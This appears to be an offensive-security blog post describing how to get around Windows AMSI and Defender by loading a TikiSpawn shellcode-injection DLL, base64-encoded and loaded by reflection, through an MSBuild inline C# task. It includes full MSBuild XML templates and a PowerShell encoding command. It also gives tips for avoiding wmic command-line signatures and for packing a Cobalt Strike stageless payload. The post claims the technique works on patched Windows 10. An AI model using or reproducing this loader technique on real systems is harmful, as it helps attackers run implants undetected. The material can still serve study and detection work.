The main impetus behind this post was me experimenting with ways to leverage TikiSpawn with some of the popular lolbins.
TikiSpawn was of course designed as a DLL that could be converted to JScript, VBScript and VBA using James Forshaw’s DotNetToJScript, which could in turn be executed using regsvr32
, wmic
, mshta
and others. However, we’ve seen Microsoft push back with two main tactics.
The first is by using commandline signatures for expected patterns such as wmic os get /format:http://blah
. In some instances, these are relatively simple to work around, for example by using WebDAV: wmic os get /format:\\blah
.
The second is by hooking AMSI into the Windows Script Host and killing off functions such as DynamicInvoke
, that are synonymous with DotNetToJScript payloads. This seems completely indiscriminate - blocking all serialized objects regardless of what they contain.
MSBuild has been known as a lolbin for some time, as it can execute arbitrary inline C# from an xml
or csproj
file. The challenge with TikiTorch is that projects like TikiSpawn leverage the TikiLoader, which is it’s own independant project, and also quite large. So instead of copy/pasting massive chunks of C# into an XML file, one simple method is to compile the TikiSpawn DLL, base64 encode it, and use MSBuild to load it via reflection.
This is the XML template I used, adapted from 3gstudent.
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="TikiTorch">
<TikiSpawn />
</Target>
<UsingTask
TaskName="TikiSpawn"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Reflection;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class TikiSpawn : Task, ITask
{
public override bool Execute()
{
Console.WriteLine("Hello World!");
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
Running MSBuild provides the expected output.
The main modification to the TikiSpawn source code is to make the Flame()
function a public static
.
For shellcode.txt
, I use Cobalt Strike’s stageless raw payload and run it through Get-CompressedShellcode.ps1.
Now base64 encode the TikiSpawn DLL and put it into the XML template along with the reflection code.
PS C:\Tools> [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Tools\TikiTorch\TikiSpawn\bin\Debug\TikiSpawn.dll")) | clip
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="TikiTorch">
<TikiSpawn />
</Target>
<UsingTask
TaskName="TikiSpawn"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Reflection;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class TikiSpawn : Task, ITask
{
public const string Dll = "TVqQ[...snip...]AAA=";
public override bool Execute()
{
Assembly TikiSpawn = Assembly.Load(Convert.FromBase64String(Dll));
Type type = TikiSpawn.GetType("TikiSpawn");
object instance = Activator.CreateInstance(type);
type.InvokeMember("Flame",
BindingFlags.InvokeMethod | BindingFlags.Static | BindingFlags.Public,
null,
instance,
new object[] { });
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
This was tested on a fully patched Windows 10 1903 build with Defender. There’s nothing new here, just fun to do it using TikiSpawn.